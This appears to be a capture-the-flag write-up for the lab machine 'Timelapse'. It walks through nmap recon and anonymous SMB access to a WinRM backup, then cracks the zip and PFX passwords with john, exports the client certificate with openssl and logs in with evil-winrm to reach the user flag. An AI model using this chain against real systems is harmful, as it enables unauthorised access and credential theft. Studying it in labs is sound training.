Timelapse
An anonymously readable SMB share leaks a WinRM credential backup whose zip and PFX are protected by dictionary-weak passwords; cracking both with john exports a client certificate that authenticates to WinRM over TLS for the user flag.
Overview
Timelapse is an easy-difficulty Windows domain controller whose path to user is a credential-hygiene failure. A non-default SMB share is readable with no authentication and contains a backup of WinRM authentication material. The backup zip and the PFX inside it are both locked with weak, crackable passwords; once cracked, the PFX yields a client certificate and private key that WinRM accepts for certificate-based logon over TLS — no password ever typed. This post covers recon through the user flag.
Machine Matrix
Real-world credential-hygiene box: anonymous SMB share leaks a backup, john cracks weak zip and PFX passwords, and a client cert authenticates WinRM; no CVE, point-and-click tooling, moderate enumeration.
Recon
| Port | Service | Notes |
|---|---|---|
| 53/tcp | DNS | domain controller |
| 88/tcp | Kerberos | AD DC |
| 135/tcp | MSRPC | |
| 139/445/tcp | SMB | anonymous Shares readable |
| 389/636/tcp | LDAP/LDAPS | domain timelapse.htb |
| 464/tcp | kpasswd | |
| 593/tcp | RPC over HTTP | |
| 5986/tcp | WinRM | HTTPS / TLS |
| 9389/tcp | ADWS | .NET AD Web Services |
1
2
nmap -p- --min-rate=1000 -T4 10.10.10.X
nmap -p53,88,135,139,389,445,464,593,636,5986,9389 -sC -sV 10.10.10.X
The host is a domain controller for timelapse.htb, and the standout is WinRM on 5986 (HTTPS) rather than the usual 5985 — a hint that certificate-based auth is in play.
Enumeration
SMB allows anonymous listing, and a non-default Shares share is readable with no credentials:
1
2
smbclient -L //10.10.10.X/ -N
smbclient //10.10.10.X/Shares -N -c "recurse; ls"
The share holds Dev/winrm_backup.zip and a HelpDesk/ folder. Pull the backup:
1
smbclient //10.10.10.X/Shares -N -c "cd Dev; get winrm_backup.zip /tmp/winrm_backup.zip"
Foothold
1 — Crack the zip. The archive is password-protected, but the PKZIP password is a dictionary word. Extract the hash and crack it against rockyou.txt:
1
2
zip2john /tmp/winrm_backup.zip > /tmp/zip.john
john /tmp/zip.john --wordlist=/usr/share/wordlists/rockyou.txt
This recovers supremelegacy. Extract the archive to reveal legacyy_dev_auth.pfx:
1
7z x -psupremelegacy /tmp/winrm_backup.zip -o/tmp/winrm_backup
2 — Crack the PFX. The PFX is itself password-protected, again with a weak password. PKCS#12 uses PBE, so pfx2john turns it into a John-compatible hash:
1
2
pfx2john /tmp/winrm_backup/legacyy_dev_auth.pfx > /tmp/pfx.john
john /tmp/pfx.john --wordlist=/usr/share/wordlists/rockyou.txt
This recovers thuglegacy.
3 — Export the cert and key. With the PFX password, split the PKCS#12 bundle into an unencrypted private key and the client certificate:
1
2
openssl pkcs12 -in /tmp/winrm_backup/legacyy_dev_auth.pfx -nocerts -out /tmp/key.pem -nodes -passin pass:thuglegacy
openssl pkcs12 -in /tmp/winrm_backup/legacyy_dev_auth.pfx -nokeys -out /tmp/cert.pem -passin pass:thuglegacy
4 — WinRM certificate auth. WinRM over HTTPS (5986) maps this certificate to the domain account legacyy, so the cert/key pair logs in with no password and no MFA:
1
evil-winrm -i 10.10.10.X -c /tmp/cert.pem -k /tmp/key.pem -S
User flag
A shell as legacyy reads the user flag directly:
1
2
type C:\Users\legacyy\Desktop\user.txt
# [redacted]
WinRM access as legacyy and the user flag are ours.
Lateral movement and privilege escalation are left as an exercise — this post stops at user.